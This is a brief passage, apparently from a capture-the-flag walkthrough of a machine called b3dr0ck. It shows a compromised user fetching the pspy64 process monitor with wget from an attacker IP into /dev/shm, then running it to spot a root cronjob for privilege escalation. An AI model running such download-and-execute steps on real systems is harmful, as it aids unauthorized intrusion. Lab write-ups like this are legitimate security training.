PSPY
A root cronjob process was identified
barney@b3dr0ck:/dev/shm$ wget http://10.9.2.95/pspy64
--2024-07-11 13:21:19-- http://10.9.2.95/pspy64
Connecting to 10.9.2.95:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[=============================================================>] 2.96M 2.32MB/s in 1.3s
2024-07-11 13:21:21 (2.32 MB/s) - ‘pspy64’ saved [3104768/3104768]
barney@b3dr0ck:/dev/shm$ chmod 755 ./pspy64
Delivery complete
barney@b3dr0ck:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Executing PSPY
The root cronjob process appears to be monitoring processes